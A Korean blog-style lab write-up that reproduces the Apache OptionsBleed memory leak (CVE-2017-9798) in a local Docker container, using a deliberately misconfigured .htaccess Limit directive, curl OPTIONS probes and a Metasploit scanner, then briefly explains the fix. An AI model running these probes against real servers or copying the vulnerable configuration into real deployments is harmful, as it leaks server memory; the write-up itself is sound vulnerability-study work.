개요

  • Apache OptionsBleed 취약점(CVE-2017-9798)을 검증해본다.
  • 이 취약점은 use-after-free (해제된 메모리를 사용) 때문에 발생하는 취약점이다.
  • 취약한 환경을 구성해보고 스캐너를 돌려서 탐지되는지 확인해본다.

취약한 환경 구성하기

  • 이 버그는 특정 Apache버전(2.2.34과 2.4.27까지의 2.4.x버전)에서 특정 설정미스가 있을 때 발생한다고 한다.
  • 설정은 Apache의 .htaccess파일의 Limit 지시자(directive)를 설정하는 부분이다.
  • Limit 지시자는 여기에서 사용법을 알 수 있다.

Docker 를 사용해서 구성하기

  • 먼저 취약한 버전의 Apache 이미지를 Dockerhub에서 구할 수 있는지 확인해본다.
  • 운이 좋게도 2.4.12버전이 있는 것을 확인할 수 있었다.

설정파일 구성하기

먼저 다음 커맨드를 실행해서 디폴트 설정파일을 얻어온다.

docker run --rm httpd:2.4.12 cat /usr/local/apache2/conf/httpd.conf > my-httpd.conf

.htaccess 파일 만들기

.htaccess파일을 다음과 같이 작성한다. acbce 자리에는 원래 허용할 HTTP 메서드가 적혀있어야 한다. 일부러 취약점을 유도하기 위해 잘못된 설정을 적었다. 이 파일은 추후 DocumentRoot로 복사할 것이다.

<Limit abcde>
    Allow from 127.0.0.1
    Deny from all
</Limit>

설정파일 변경하기 (.htaccess가 동작하도록)

  • DocumentRoot 디렉토리 설정부분의 AllowOverrideNone에서 All로 변경한다. (값이 None이면 .htaccess가 무효화된다.)

파일 수정시 주의점

  • 설정파일을 노트패드로 연다. (VS Code등의 에디터로 수정하면 Unicode로 저장되어서 나중에 구동할 때 Invalid command '\xff\xfe#', perhaps misspelled or defined by a module not included in the server configuration 에러가 발생한다.)
  • 저장시에는 꼭 문자코드를 ANSI로 설정해서 저장한다. (https://www.spinics.net/lists/apache-users/msg75041.html)
DocumentRoot "/usr/local/apache2/htdocs"
<Directory "/usr/local/apache2/htdocs">
    #
    # Possible values for the Options directive are "None", "All",
    # or any combination of:
    #   Indexes Includes FollowSymLinks SymLinksifOwnerMatch ExecCGI MultiViews
    #
    # Note that "MultiViews" must be named *explicitly* --- "Options All"
    # doesn't give it to you.
    #
    # The Options directive is both complicated and important.  Please see
    # http://httpd.apache.org/docs/2.4/mod/core.html#options
    # for more information.
    #
    Options Indexes FollowSymLinks

    #
    # AllowOverride controls what directives may be placed in .htaccess files.
    # It can be "All", "None", or any combination of the keywords:
    #   AllowOverride FileInfo AuthConfig Limit
    #
    AllowOverride All

    #
    # Controls who can get stuff from this server.
    #
    Require all granted
</Directory>

Dockerfile 작성하기

다음 Dockerfile을 만든다.

FROM httpd:2.4.12
COPY .htaccess /usr/local/apache2/htdocs/
COPY index.html /usr/local/apache2/htdocs/

index.html 파일 작성

웹서버가 잘 동작중인 것을 확인하기 위해 index.html 파일을 작성한다.

<html>
<h1>Apache OptionsBleed POC (CVE-2017-9798)</h1>
</html>

이미지 빌드

docker build --tag optionsbleed:httpd_2.4.12 .

이미지 실행하기

  • 호스트의 포트번호는 대충 안 겹치는 포트를 지정한다. 여기에서는 500번 포트를 지정했다.
docker run -p 500:80 -d --rm optionsbleed:httpd_2.4.12 

동작확인

OPTIONS로 허용하는 메서드를 웹 서버에 문의해본다. 응답헤더의 Allow부분에 이상한 문자가 출력되는 것을 알 수 있다. 취약점을 확인하는데 성공했다!

$ curl -sI -X OPTIONS http://localhost/
HTTP/1.1 200 OK
Date: Thu, 10 Aug 2023 06:37:32 GMT
Server: Apache/2.4.12 (Unix)
Allow: 腎チ=~,赤タ=~,慎チ=~,GET,HEAD,POST,OPTIONS,TRACE
Content-Length: 0
Content-Type: text/html


참고로 다음 명령으로 여러번(100번) 반복해서 curl을 수행할 수 있다.

for i in {1..100}; do curl -sI -X OPTIONS http://localhost/|grep -i "allow:"; done

OptionsBleed실행한 모습

스캐너 돌려보기

그러면 스캐너도 한번 돌려본다. Metasploit의 스캐너를 사용한다. 스캔 대상 서버는 다른 프로그램과 포트가 겹치지 않도록 500번 포트로 구동했다.

제대로 취약하다고 판정된 것을 확인했다.

msfconsole
use auxiliary/scanner/http/apache_optionsbleed
msf6 auxiliary(scanner/http/apache_optionsbleed) > set RHOSTS localhost
RHOSTS => localhost
msf6 auxiliary(scanner/http/apache_optionsbleed) > set RPORT 500
RPORT => 500
msf6 auxiliary(scanner/http/apache_optionsbleed) > exploit

[+] Request 1: [OptionsBleed Response] -> GET,HEAD,POST,OPTIONS,▒▒},▒T},▒t},TRACE
[+] Request 2: [OptionsBleed Response] -> GET,HEAD,POST,OPTIONS,▒T},▒t},▒▒},TRACE
[+] Request 9: [OptionsBleed Response] -> ▒▒},▒T},▒▒},GET,HEAD,POST,OPTIONS,TRACE
[+] Request 38: [OptionsBleed Response] -> ▒},▒▒},▒t},▒T},GET,HEAD,POST,OPTIONS,TRACE
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

스캐너 실행 결과

Apache 코드 분석

모처럼이니까 Apache 코드도 어떻게 바꼈는지 훑어본다.

수정된 코드는 여기에서 확인할 수 있다.

https://github.com/apache/httpd/commit/4cc27823899e070268b906ca677ee838d07cf67a

Optionsbleed수정된 코드

  • 코드를 보아하니, 수정되기 전에는 .htaccess 에 기술한 HTTP메서드가 실행시점(runtime)에 동적으로 등록이 가능했던 것 같다.
  • 1) 실행시점에 메서드가 등록된다. 2) 기존에 존재하지 않는 메서드였다. 라는 두 가지 조건으로 use-after-free 가 되는 것일까?
  • 수정 후에는 런타임에 메서드를 등록하는 부분에 안전조치가 추가된 것으로 보인다. (최초 init시점에만 등록이 가능하도록 바뀐 것 같다.)
  • 운좋게도 TrendMicro사의 블로그에서 아주 상세한 코드 설명을 찾았다. 일본어지만 크롬 번역기능을 사용하면 된다.

내가 이해한 것을 간략하게 적어본다.

  • 아파치에는 사용가능한 HTTP메서드도 글로벌 풀로 관리한다. (METHOD_REGISTRY)
  • .htaccess에 존재하지 않는 HTTP 메서드로 Limit 지시문을 정의하면 httpd를 시작한 후 새 HTTP 메서드가 추가된다.
  • 이 때, 글로벌 풀에 새롭게 추가되는데, 새롭게 추가된 후에 포인터가 정확히 데이터가 끝나는 부분을 가리키는게 아니라 여유공간을 가리키는 버그로 인해, 이 여유공간의 데이터가 함께 Allow 헤더에 추가되는 것으로 보인다.

참고

  • https://blog.fuzzing-project.org/60-Optionsbleed-HTTP-OPTIONS-method-can-leak-Apaches-server-memory.html
  • https://bz.apache.org/bugzilla/show_bug.cgi?id=61207
  • https://www.tenable.com/plugins/nessus/103838
  • https://github.com/hannob/optionsbleed
  • https://github.com/brokensound77/OptionsBleed-POC-Scanner
  • https://hackerone.com/reports/269568
  • https://www.cve.org/CVERecord?id=CVE-2017-9798
  • https://www.trendmicro.com/ja_jp/research/17/j/optionsbleed-vulnerability-in-the-apache-http-server.html